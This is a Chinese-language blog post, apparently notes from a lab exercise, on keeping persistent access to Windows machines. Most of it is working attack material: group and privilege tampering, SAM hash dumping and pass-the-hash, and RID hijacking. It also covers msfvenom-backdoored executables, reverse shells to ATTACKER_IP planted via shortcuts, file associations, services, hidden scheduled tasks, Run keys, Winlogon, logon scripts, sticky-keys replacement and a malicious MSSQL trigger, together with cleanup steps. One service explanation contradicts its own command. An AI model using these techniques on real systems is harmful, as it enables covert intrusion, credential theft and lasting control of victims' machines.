Windows系统本地持久化技术

篡改无权限账户

无权限用户不会像管理员哪有受到太多监控,并以某种方式授予它们某种管理权限。

分配组成员

前提条件:获得了一个无权限或低权限的未授权账户

管理员组

让未授权用户获得管理员权限的直接方法是将其添加到管理员组。可以通过以下命令轻松实现:

net localgroup administrators thmuser0 /add

备份操作员组

还可以将其添加到备份操作员组,该组中的用户没有管理员权限,但将被允许读写系统上的任何文件或注册表项,忽略任何配置的 DACL。该用户被允许复制 SAM 和 SYSTEM 注册表分区的内容,然后可以使用这些内容来恢复所有用户的密码散列,使攻击者能够轻易地提升到任何管理员账户。

操作命令:

将用户添加到远程桌面用户(RDP)以远程登录到目标机器:

net localgroup "Remote Management Users" thmuser1 /add

还可以添加到远程管理用户(WinRM)组进行远程登录:

net localgroup "Remote Desktop Users" thmuser1 /add

由于UAC的限制,导致远程登录是剥夺了管理权限,所以需要更改注册表以接触限制,恢复管理员权限:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

如此,就可以远程登录备份操作员了:

user@AttackBox$ evil-winrm -i 10.10.42.45 -u thmuser1 -p Password321
        
*Evil-WinRM* PS C:\> whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators             Alias            S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users      Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                 Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288

备份 SAM 和 SYSTEM

备份并下载SAM和SYSTEM文件:

*Evil-WinRM* PS C:\> reg save hklm\system system.bak
    The operation completed successfully.

*Evil-WinRM* PS C:\> reg save hklm\sam sam.bak
    The operation completed successfully.

*Evil-WinRM* PS C:\> download system.bak
    Info: Download successful!

*Evil-WinRM* PS C:\> download sam.bak
    Info: Download successful!

利用这些文件,就可以使用 secretsdump.py 或其他类似工具导出所有用户的密码hash:

user@AttackBox$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x41325422ca00e6552bb6508215d8b426
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
thmuser1:1008:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
[*] Cleaning up...

hash传递攻击-PtH(Pass-the-Hash)

最后,执行 Pass-the-Hash 以使用管理员权限连接到受害者机器:

root@ip-10-10-50-162:~# evil-winrm -i 10.10.42.45 -u Administrator -H f3118544a831e728781d780cfdb9c1fa
                                        
Evil-WinRM shell v3.7
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

特殊权限和安全描述符

在不修改任何组成员的情况下,可以实现与将用户添加到备份操作员组类似的结果。
特殊组之所以特殊,只是因为操作系统在默认情况下为它们分配了特定的权限,特权就是在系统本身上执行任务的能力,它们包括一些简单的功能,比如关闭服务器的能力,以及非常特权的操作,比如能够拥有系统上任何文件的所有权。

在备份操作员组的例子中,它默认分配了以下两个权限:

  • SeBackupPrivilege:用户可以读取系统中的任何文件,忽略任何现有的 DACL。
  • SeRestorePrivilege:用户可以写入系统中的任何文件,忽略任何现有的 DACL。

分配权限

可以将此类特权分配给任何用户,而不管他们的组成员身份如何。为此,我们可以使用secedit命令。首先,我们将当前配置导出到一个临时文件:

secedit /export /cfg config.inf

打开文件并将用户添加到配置中有关 SeBackupPrivilegeSeRestorePrivilege 的行:

image-20250412141238574

最后将 .inf 文件转为 .sdb 文件,然后使用该文件将配置重新加载到系统中:

secedit /import /cfg config.inf /db config.sdb

secedit /configure /db config.sdb /cfg config.inf

允许WinRM连接

到此刻,会拥有一个具有与任何备份操作员等效权限的用户。但该用户仍然无法通过 WinRM 登录系统,这需要将WinRM的安全描述符更改为允许目标用户(这里是thmuser2)连接。

在powershell中使用以下命令打开GUI窗口,为目标用户分配连接到WinRM的完全权限:

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
image-20250412142052074

此时目标用户可用通过winrm进行连接,且由于用户具有SeBackup 和 SeRestore 权限,可用执行前面一样的步骤从SAM中恢复密码hash,拿到管理员的用户。

PS:这里一样要更改 LocalAccountTokenFilterPolicy 注册表键,以绕过UAC

RID 劫持

另一种在不具备管理员权限的情况下获得管理员权限的方法是更改一些注册表值,使操作系统认为你是管理员。

每个用户创建时都会得到一个RID所谓用户的数字标识符,当用户登录时LSASS进程会读取注册表中的RID,为其创建访问令牌,但如果篡改注册表的值,那么一个RID关联到两个用户,比如将普通用户的RID(>=1000)改为管理员的RID(=500),那么普通用户就能获得管理员的访问令牌即权限。

查看所有用户的RID:

PS C:\Users\Administrator> wmic useraccount get name,sid
Name                SID
Administrator       S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount      S-1-5-21-1966530601-3185510712-10604624-503
Guest               S-1-5-21-1966530601-3185510712-10604624-501
thmuser0            S-1-5-21-1966530601-3185510712-10604624-1011
thmuser1            S-1-5-21-1966530601-3185510712-10604624-1008
thmuser2            S-1-5-21-1966530601-3185510712-10604624-1009
thmuser3            S-1-5-21-1966530601-3185510712-10604624-1010
thmuser4            S-1-5-21-1966530601-3185510712-10604624-1013
WDAGUtilityAccount  S-1-5-21-1966530601-3185510712-10604624-504

修改注册表

正常情况任何用户都无法修改注册表,那么攻击过程中,上传工具 PsExec 以SYSTEM身份允许Regedit:

PsExec64.exe -i -s regedit

在注册表的 HKLM\SAM\SAM\Domains\Account\Users\ 目录下有机器中的每个用户的键,在示例中需要修改thmuser3的值,在 HKLM\SAM\SAM\Domains\Account\Users\Names\ 目录下有机器的所有用户,选中目标thmuser3后,其中的type字段的值就是Users的值,以末尾分辨:

image-20250412144238295

找到thmuser3的索引后就可以修改了,RID以十六进制表示,在name列下的F字段包含RID,具体位置在 0x30:

image-20250412144552340

PS:RID 是以小端表示法存储的,因此其字节顺序是反的。

现在将这两个字节替换为管理员在十六进制中的 RID(500 = 0x01F4),交换这两个字节(F401):

image-20250412144736323

至此,thmuser3就得到了与管理员一样的RID,当下次登录时,就可以获得管理员权限。

后门文件

另一种建立持久性的方法是篡改一些用户经常与之交互的文件。通过对这些文件进行一些修改,让用户在访问它们时植入后门。由于不希望引发任何可能暴露的警报,修改的文件必须像预期的那样继续为用户工作。

可执行文件

受害者桌面上的可执行文件经常使用的概率较高,她们一般时快捷方式,指向真正的执行文件,比如桌面上的 PuTTY 指向:C:\Program Files\PuTTY\putty.exe,可用通过msfvenom将payload注入到任何 .exe 文件中,使其运行时创建一个额外的线程,静默的执行payload。

使用以下命令在执行文件中植入后门:

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

快捷方式

不修改任何执行文件,修改快捷方式的指向文件也是一种方法,在快捷方式中可以看到、更改指向的文件:

image-20250412151022374

在修改之前,先在一些隐蔽的位置创建一个简单的Powershell脚本。脚本将执行一个反向shell,然后从快捷方式属性的原始位置运行calc.exe:

echo 'Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"' > C:\Windows\System32\backdoor.ps1
echo 'C:\Windows\System32\calc.exe' >> C:\Windows\System32\backdoor.ps1

PS:这里是使用了上传的nc,如果有其他方式也可以用其他方式,比如执行python命令等。

然后更改快捷方式以指向创建的脚本。注意,在此过程中快捷方式的图标可能会自动调整。请确保将图标恢复到原始可执行文件,以便用户看不到任何可见的变化。

我们还想在隐藏的窗口中运行我们的脚本,为此需要添加 -windowstyle hidden 选项到 PowerShell。快捷方式的最终目标将是:

powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File C:\Windows\System32\backdoor.ps1
image-20250412151411763

最后在攻击机启动监听等待受害者触发即可:

nc -nvp 4445

劫持文件关联

除了通过可执行文件或快捷方式持久化之外,还可以劫持任何文件关联,强制操作系统在用户打开特定文件类型时运行 shell。

原理:通过篡改系统注册表中文件类型与程序的关联配置,使得用户打开特定文件时,系统会偷偷执行攻击者的恶意代码

关键注册表路径

  • 文件扩展名绑定HKLM\Software\Classes\.<扩展名>
    例如 .txt 对应路径 HKLM\Software\Classes\.txt

  • ProgID(程序标识符):文件扩展名对应的程序配置。
    例如 .txt 的 ProgID 通常是 txtfile,对应路径 HKLM\Software\Classes\txtfile如图:

    image-20250412152959183

  • 执行命令配置:在 ProgID 下,shell\open\command 键值定义了打开此类文件时执行的命令。
    例如:打开 .txt 文件时默认执行 Notepad.exe %1%1 表示被打开的文件路径)如图:

    image-20250412153449548

攻击步骤详解

创建恶意脚本

在恶意脚本 C:\Windows\backdoor2.ps1 中写入以下命令:

# 启动反向 Shell 连接到攻击者的监听端口
echo 'Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"' > C:\Windows\backdoor2.ps1

# 正常打开文件,避免用户察觉异常
echo 'C:\Windows\system32\NOTEPAD.EXE $args[0]' >> C:\Windows\backdoor2.ps1

作用

  • 第1行:静默启动反向 Shell(nc64.exe 是 Netcat 工具),连接攻击者的 IP 和端口。
  • 第2行:用记事本打开用户实际点击的文件($args[0] 对应 %1 的文件路径参数)。

篡改注册表

修改注册表中 .txt 文件关联的执行命令:

  • 定位到ProgID的命令键:

    HKEY_LOCAL_MACHINE\Software\Classes\txtfile\shell\open\command
    

    PS:正常情况任何用户都无法修改注册表,那么攻击过程中,上传工具 PsExec 以SYSTEM身份运行Regedit:PsExec64.exe -i -s regedit

  • 修改默认值:

    将原值 %SystemRoot%\system32\NOTEPAD.EXE %1修改为:

    powershell.exe -WindowStyle Hidden -File C:\Windows\backdoor2.ps1 "%1"
    

    PS:-WindowStyle Hidden:隐藏 PowerShell 窗口,避免用户发现。

    image-20250412155507574

触发攻击

当用户打开任意 .txt 文件时都会触发恶意脚本,建立反向shell:

image-20250412155705904

滥用服务

如果可以利用任何服务,使其帮助攻击者运行某些内容,那么每次启动受害者机器时,攻击者都能重新获得控制权。

Windows 服务:一种后台运行的应用程序,通常以 SYSTEM 权限 执行,具有高权限和持久性(开机自启、无需用户交互)。

配置服务时可以设置启动哪个可执行文件,并选择该服务在开机时自动启动还是手动启动;那么有两种方式滥用服务以建立持久化:

  • 创建新的服务
  • 修改现有服务

创建后门服务

生成反向shell payload

在攻击机上使用 msfvenom 生成一个兼容 Windows 服务的反向 Shell 程序:

# 生成反向 Shell 可执行文件(替换 ATTACKER_IP 为你的攻击机 IP)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe

PS:参数说明

  • -p windows/x64/shell_reverse_tcp: 使用 64 位 Windows 的反向 TCP Shell。
  • LHOST=ATTACKER_IP: 攻击机的 IP 地址。
  • LPORT=4448: 攻击机监听的端口。
  • -f exe-service: 生成服务兼容的 EXE 文件。
  • -o rev-svc.exe: 输出文件名。

投送payload

使用http下载服务,或者钓鱼手段等投送,这里使用http下载服务:

  1. 在攻击机启动 HTTP 服务器:

    python3 -m http.server 80
    
  2. 在靶机的 PowerShell 或 CMD 中下载文件:

    Invoke-WebRequest -Uri "http://ATTACKER_IP/rev-svc.exe" -OutFile "C:\Windows\rev-svc.exe"
    

创建并启动恶意服务

使用以下命令创建并启动一个名为 "THMservice" 的服务:

# 创建名为 THMservice2 的服务,指向恶意程序
sc.exe create THMservice2 binPath= "C:\Windows\rev-svc.exe" start= auto

# 立即启动服务(触发反向 Shell)
sc.exe start THMservice2

PS:命令说明

  • sc.exe create 创建一个名为 THMservice 的服务。
  • binPath= 指定服务启动时执行的命令(此处为重置管理员密码)。
  • start= auto 设置服务为自动启动(开机触发)。
  • 立即触发服务执行 net user 命令,将管理员密码改为 Passwd123
  • 由于服务设置为 auto,每次系统重启后会自动重置密码,维持攻击者对系统的控制。

上线shell

受害者触发payload后,上线shell:

image-20250412162700843

删除服务&隐藏操作

上线shell/cs后要删除服务,隐藏操作:

sc delete THMservice2

修改现有服务

虽然创建新的服务用于持久化效果很好,但蓝队可能会监控网络上的新服务创建。那么利用现有的服务是个更好的方案。通常任何已禁用的服务是个很好的候选者,因为它可以被修改而不会被注意。

寻找可用服务

通过以下命令获取可用的服务列表:

sc.exe query state=all

在本实例中以一个名为 THMService3 的已停止服务进行操作,查询具体的服务配置可用使用以下命令:

sc.exe qc THMService3

执行结果如下:

PS C:\Users\Administrator\Downloads> sc.exe qc THMService3
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: THMService3
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\MyService\THMService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : THMservice3
        DEPENDENCIES       :
        SERVICE_START_NAME : NT AUTHORITY\Local Service

可用看到相关的配置信息。

使用服务进行持久化时,需要关注三个方面:

  • 可执行文件(BINARY_PATH_NAME)应指向我们的有效载荷。
  • 服务启动类型(START_TYPE)应为自动,以便有效载荷在没有用户交互的情况下运行。
  • 服务启动名称(SERVICE_START_NAME),即服务将运行的账户,最好设置为 LocalSystem 以获得系统权限。

创建payload

使用 msfvenom 创建一个新的反向 shell:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5559 -f exe-service -o rev-svc2.exe

投送payload

通过钓鱼、后门等方式投送payload。

重新配置服务

使用以下命令重新配置目标服务的参数:

sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"

然后可以再次查询服务的配置,以检查是否按预期修改,如:

PS C:\Users\Administrator\Downloads> Invoke-WebRequest -Uri "http://10.13.82.5/rev-svc2.exe" -OutFile "C:\Windows\rev-svc2.exe"
PS C:\Users\Administrator\Downloads> sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"
[SC] ChangeServiceConfig SUCCESS
PS C:\Users\Administrator\Downloads> sc.exe qc THMservice3
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: THMservice3
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\rev-svc2.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : THMservice3
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

可用看到指向的执行文件发生了改变。

上线shell

当目标服务再次被执行时就会触发payload,上线shell。

使用 sc.exe start THMservice3 直接执行目标服务,等待上线:

image-20250412170110876

成功上线!

[补充]通过IPC滥用服务

建立IPC连接

使用以下命令建立IPC连接:

net use  \\目标IP\ipc$ 密码  /user:主机名\用户名

# 示例命令
net use  \\192.168.41.20\ipc$ 12345678  /user:pc-2008\administrator

示例:

image-20250513152126792

成功建立IPC连接。

投送payload

直接将本地payload复制到目标主机:

copy C:\Users\Administrator\Desktop\artifact.exe \\192.168.41.20\C$

滥用服务

后续操作同前文中的方法创建服务上线shell/cs即可。

删除相关记录

# 删除服务
sc \\192.168.41.20 delete test

# 清除IPC$连接记录
net use \\192.168.41.20\ipc$ /del

滥用计划任务

设置计划任务最常见的方法是使用内置的Windows计划任务程序,任务计划程序允许用户精确控制任务何时启动,让用户可以设置在特定时间激活、定期重复或甚至在特定系统事件发生时触发的任务,在命令行,可以使用 schtasks 与任务计划程序交互。

创建计划任务

使用以下命令创建一个每分钟执行一次的计划任务(实际操作中不能设置如此频繁,会被蓝队发现):

schtasks /create /sc minute /mo 1 /tn thm-taskbackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM

PS:参数说明

  • thm-taskbackdoor 是计划任务名
  • /sc/mo 选项表示任务将每分钟运行一次
  • /ru 选项表示任务将以 SYSTEM 权限运行

执行以下命令以检查计划任务是否成功创建:

schtasks /query /tn thm-taskbackdoor

得到类似以下结果:

PS C:\Users\Administrator\Downloads> schtasks /query /tn thm-taskbackdoor

Folder: \
TaskName                                 Next Run Time          Status
======================================== ====================== ===============
thm-taskbackdoor                         4/12/2025 9:11:00 AM   Ready

隐藏计划任务

虽然计划任务被创建了,但很明显,如果蓝队使用刚才的命令就可以看到创建的计划任务,那么想要存活的更久就需要隐藏计划任务。

攻击者可用通过删除其安全描述符(SD),使其对系统中的任何用户都不可见。

PS:安全描述符是一个 ACL,它声明了哪些用户可以访问计划任务。如果用户没有权限查询计划任务,那就无法再看到它,因为 Windows 只会显示你有权限使用的任务。删除 SD 相当于禁止所有用户访问计划任务,包括管理员。

所有计划任务的安全描述符都存储在 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ 中。每个任务下都有一个注册表键,其中名为"SD"的值包含安全描述符。只有用户拥有 SYSTEM 权限时,才能删除该值,所以需要攻击者提权或者上传psexec工具来启动注册表。

PsExec64.exe -s -i regedit

指向注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\THM-TaskBackdoor

image-20250412171612700

当再次查询计划任务时就发现找不到该内容:

PS C:\Users\Administrator\Downloads> schtasks /query /tn thm-taskbackdoor
ERROR: The system cannot find the file specified.

上线shell

计划任务启动时就会触发payload,上线shell:

image-20250412172329945

[补充]IPC配合计划任务

前提条件

  • 启动IPC$服务需要开放139,445端口
  • 管理员开启了默认共享
  • 管理员凭据

创建IPC$链接

使用命令创建IPC$链接:

shell net use \\192.168.41.29\ipc$ "12345678" /user:pc-2003\administrator

计划任务与利用

后续的计划任务的操作与前面的schtasks创建计划任务一致

登录触发持久化

开机启动项/启动文件夹

每个用户在 C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 下都有一个文件夹,可以将可执行文件放入其中,以便用户登录时运行。攻击者只需将有效载荷放入其中即可实现持久化。请注意,每个用户只会运行其文件夹中可用的内容。

如果想要强制所有用户在登录时运行有效载荷,可以用同样的方式使用 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 下的文件夹。

生成payload

使用msfvenom生成payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe

投送并转移payload

使用http下载服务,或者钓鱼手段等投送,这里使用http下载服务:

  1. 在攻击机启动 HTTP 服务器:

    python3 -m http.server 80
    
  2. 在靶机的 PowerShell 或 CMD 中下载文件:

    Invoke-WebRequest -Uri "http://ATTACKER_IP/rev-svc.exe" -OutFile "./revshell.exe"
    

然后将payload转移到 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 文件夹中,以便任何登录到机器的用户都能获取 shell:

copy ./revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

上线shell

当目标主机的所有用户登录时都会被动触发payload,上线shell:

image-20250412173822116

Run / RunOnce

可以通过注册表强制用户在登录时执行程序。这样就不必将有效载荷放入特定目录,而是可以使用以下注册表项来指定在登录时运行的程序:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

PS:HKCU 下的注册表项仅适用于当前用户,而 HKLM 下的注册表项适用于所有用户。任何在 Run 键下指定的程序将在每次用户登录时运行。在 RunOnce 键下指定的程序将只运行一次。

创建payload

使用msfvenom创建payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4451 -f exe -o revshell.exe

投送并转移payload

使用http下载服务,或者钓鱼手段等投送,这里使用http下载服务:

  1. 在攻击机启动 HTTP 服务器:

    python3 -m http.server 80
    
  2. 在靶机的 PowerShell 或 CMD 中将文件下载到 C:\Windows\

    Invoke-WebRequest -Uri "http://ATTACKER_IP/revshell.exe" -OutFile "C:\Windows\revshell.exe"
    

然后在 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 下创建一个类型为 REG_EXPAND_SZ 的注册表条目。

PS:

  • 条目的名称可以随意命名,值将是将要执行的命令。
  • 依然要注意修改注册表需要system权限,要通过提权或者上传psexec工具打开注册表。

image-20250412175705937

上线shell

当受害者登录机器的时候就会被动触发payload,上线shell:

image-20250412175939014

Winlogon

使用Winlogon也可以实现登录时自动启动程序,这是在认证之后立即加载用户配置文件的Windows组件(以及其他功能)。

Winlogon 在 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ 下使用一些注册表键,这些键可能有助于实现持久化:

  • Userinit 指向 userinit.exe ,负责恢复用户配置文件首选项。
  • shell 指向系统的 shell,通常为 explorer.exe

image-20250412184014355

如果将其中的任何可执行文件替换为payload都会破坏登录过程,但可以通过逗号将可执行文件进行分隔,winlogon将会依次处理所有内容。

创建payload

使用msfvenom创建payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4452 -f exe -o revshell.exe

投送payload

使用http下载服务,或者钓鱼手段等投送,这里使用http下载服务:

  1. 在攻击机启动 HTTP 服务器:

    python3 -m http.server 80
    
  2. 在靶机的 PowerShell 或 CMD 中将文件下载到 C:\Windows\

    Invoke-WebRequest -Uri "http://ATTACKER_IP/revshell.exe" -OutFile "C:\Windows\revshell.exe"
    

修改注册表项

提权到system或上传psexec工具启动注册表,对 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ 中的 shellUserinit 进行修改。

image-20250412185007796

上线shell

当受害主机有用户登录时就会触发payload,上线shell:

image-20250412185501334

登录脚本(Logon Script)

userinit.exe 加载用户配置文件时,会检查一个名为 UserInitMprLogonScript 的环境变量,攻击者可以使用这个环境变量为用户分配一个登录脚本,该脚本在登录机器时将运行。默认情况下,该变量未设置值,因此攻击者可以设置它指向payload。

创建payload

使用msfvenom创建payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4453 -f exe -o revshell.exe

投送payload

使用http下载服务,或者钓鱼手段等投送,这里使用http下载服务:

  1. 在攻击机启动 HTTP 服务器:

    python3 -m http.server 80
    
  2. 在靶机的 PowerShell 或 CMD 中将文件下载到 C:\Windows\

    Invoke-WebRequest -Uri "http://ATTACKER_IP/revshell.exe" -OutFile "C:\Windows\revshell.exe"
    

修改环境变量

提权到system或上传psexec工具启动注册表,在注册表中找到 HKCU\Environment 项,创建 UserInitMprLogonScript 条目指向准备的payload,以便受害者触发:

image-20250412190956135

PS:这个注册表项在 HKLM 中没有等效项,这意味着这个持久化的方法只能对当前获得的用户生效,无法获得其他用户的shell

上线shell

当受害者登录机器时,就会触发payload,上线shell:

image-20250412175939014

后门登录界面/RDP

如果我们拥有对机器的物理访问权限(或 RDP),我们可以后门登录界面以无有效凭证访问机器的终端。

粘滞键

利用任何 Windows 安装中默认启用的快捷键,通过连续按 SHIFT 5 次来激活粘滞键,此时屏幕通常会弹出:

image-20250412194858635

按下 SHIFT 5 次后,Windows 将执行 C:\Windows\System32\sethc.exe 中的二进制文件,如果能够替换这个二进制文件为payload,那么就算是在输入任何凭据之前,也能从登录页获取具有权限的shell。

其中一种方法是用cmd.exe的副本替换sethc.exe。这样,我们就可以使用快捷键生成控制台,甚至可以从登录页生成shell。

要覆盖 sethc.exe 首先需要获取文件的所有权并授予当前用户修改权限,然后才能使用 cms.exe 的副本来替换它,使用以下命令来完成:

takeown /f c:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

执行示例:

C:\Users\Administrator>takeown /f c:\Windows\System32\sethc.exe

SUCCESS: The file (or folder): "c:\Windows\System32\sethc.exe" now owned by user "WPERSISTENCE\Administrator".

C:\Users\Administrator>icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 files; Failed processing 0 files

C:\Users\Administrator>copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Overwrite C:\Windows\System32\sethc.exe? (Yes/No/All): yes
The process cannot access the file because it is being used by another process.
        0 file(s) copied.

执行后,锁定登录会话后在登录页就可以获得具有system权限的shell:

image-20250412195536343

Utilman

Utilman 是一个内置的 Windows 应用程序,用于在锁屏时提供无障碍访问选项:

image-20250412200337182

在登录界面上点击“轻松访问”按钮时,它会以 SYSTEM 权限执行 C:\Windows\System32\Utilman.exe 。同样,如果使用 cmd.exe 的副本替换它,我们就可以再次绕过登录界面。

要替换 utilman.exe ,我们执行与 sethc.exe 类似的操作:

takeown /f c:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant Administrator:F
copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

锁定账户后,点击登陆界面的无障碍后打开system权限的shell:

image-20250412200730352

通过现有服务持久化

如果不想使用 Windows 功能来隐藏后门,也可以利用任何现有的服务来运行payload,比如通过web服务器植入后门,而且,只要有一定控制权决定执行什么的应用程序都可以用类似的方式植入后门。

使用 Web Shell

在 Web 服务器中实现持久化的常用方法是上传一个 Web Shell 到 Web 目录。或者是使用各种中间件,语言,代码逻辑等等的漏洞,让攻击者能够执行任意代码,那就可以进一步提升权限。

参见:

使用MSSQL作为后门

MSSQL 中的触发器允许攻击者将操作绑定到数据库中特定事件发生时执行。这些事件可以从用户登录到数据被插入、更新或从给定表中删除。

下方示例将为 HRDB 数据库中的任何 INSERT 操作创建一个触发器。

目标:通过 MSSQL 数据库的 触发器(Trigger) 机制,在特定数据库操作(如插入数据)时触发恶意代码执行,建立持久化后门。

启用 xp_cmdshell

在创建触发器之前,需要先启用 xp_cmdshell 存储过程,xp_cmdshell 是任何 MSSQL 安装中默认提供的存储过程,允许用户直接在系统控制台中运行命令,但默认情况下是禁用的。

使用mssql管理工具执行sql命令:

-- 启用高级选项
sp_configure 'Show Advanced Options', 1;
RECONFIGURE;
GO

-- 启用 xp_cmdshell
sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO

作用:解除 xp_cmdshell 的默认禁用状态,允许执行系统命令。

授予 Public 角色模拟 sa 权限

USE master;
GRANT IMPERSONATE ON LOGIN::sa TO [Public];

目的:允许所有数据库用户(包括低权限 Web 应用账户)模拟 sa 用户执行命令。

风险:极大降低权限门槛,攻击者可利用普通用户触发高权限操作。

创建恶意触发器

  1. 切换到目标数据库

    USE HRDB;
    
  2. 创建触发器

    CREATE TRIGGER [sql_backdoor]
    ON HRDB.dbo.Employees 
    FOR INSERT AS
    
    EXECUTE AS LOGIN = 'sa'
    EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';
    

PS:

  • 触发条件:每当向 Employees 表插入数据时执行。
  • 恶意行为:下载并执行攻击者的 PowerShell 脚本 evilscript.ps1

准备恶意脚本

在攻击机创建 evilscript.ps1,内容为反向 Shell 代码:

$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};

$client.Close()

功能:建立 TCP 反向连接到攻击机的 4454 端口,提供交互式 Shell。

启动监听服务

  1. HTTP 服务器(提供恶意脚本):

    python3 -m http.server 8000
    
  2. Netcat 监听反向 Shell

    nc -lvp 4454
    

触发攻击&上线shell

posted @ 2025-12-04 16:26  shinianyunyan  阅读(3)  评论(0)    收藏  举报